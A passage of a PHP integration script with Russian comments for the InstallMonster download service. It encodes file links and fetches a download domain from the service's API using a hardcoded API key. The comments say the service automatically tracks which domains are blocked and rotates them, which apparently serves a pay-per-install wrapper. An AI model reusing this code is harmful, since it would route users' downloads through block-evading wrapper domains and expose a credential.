'606', // sid вашего сайта
'url' => $file_url,
'name' => $file_name,
'type' => $file_type,
'size' => $file_size,
'rnd0' => md5(rand().time()),
)
);
return $result;
}
/**
* Кодирование base64 безопасное для передачи через URL
* @param array $input - набор параметров для кодирования
* @return готовая для вставки в URL кодированная строка
*/
function base64_installmonster_encode($input) {
return strtr(base64_encode(json_encode($input)), '+/=', '-_,');
}
/**
* Функция выдает домен для скачки, Ваш паркованный или системный.
* Статусы блокировки доменов автоматически отслеживаются нашей системой.
* @return string Текущий доступный домен системы InstallMonster
*/
function getInstallmonsterDomain() {
// Ваш ключ доспупа к API. Можно посмотреть в Профиле.
$apiKey = '7a17b2bba16fb676b81df5acccde432f';
$apiUrl = 'http://installmonster.ru/wmApi';
$defaultDomain = 'tj4j2njdlbu72xg.wenotsurrender.ru';
$cacheFile = 'installmonster-domaincache.tmp';
$cacheDirectories = array(
@realpath(sys_get_temp_dir()),
DIRECTORY_SEPARATOR . 'tmp',
DIRECTORY_SEPARATOR . 'var' . DIRECTORY_SEPARATOR . 'tmp',
@realpath(dirname(__FILE__)),
);
$cacheTime = 3600;
$cacheDir = '.';
foreach ($cacheDirectories as $dir) {
if (@is_writeable($dir)) {
$cacheDir = $dir;
break;
}
}
$cacheFile = rtrim($cacheDir, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $cacheFile;
clearstatcache();
if (@file_exists($cacheFile)) {
$tmp = @file_get_contents($cacheFile);
if ($tmp !== false) {
$chunks = explode(';', $tmp);
if (count($chunks) == 2) {
$cacheTime = $chunks[1];
$defaultDomain = $chunks[0];
}
}
$mTime = @filemtime($cacheFile);
if ($mTime === false) {
return $defaultDomain;
}
if ((time() - $mTime) < $cacheTime) {
return $defaultDomain;
}
}
$answer = @file_get_contents($apiUrl . '?v=1&m=getdomain&k=' . $apiKey .
'&base=' . @$_SERVER['HTTP_HOST']);
if ($answer === false) {
return $defaultDomain;
}
$chunks = explode(';', $answer);
if (count($chunks) != 2) {
return $defaultDomain;
}
$cacheTime = $chunks[1];
$domain = $chunks[0];
$fp = @fopen($cacheFile, "w");
if (($fp === false) || !@flock($fp, LOCK_EX)) {
if ($fp) {
@fclose($fp);
}
return $domain;
}
@ftruncate($fp, 0);
@fwrite($fp, $domain . ';' . $cacheTime);
@fflush($fp);
@flock($fp, LOCK_UN);
@fclose($fp);
return $domain;
}
?>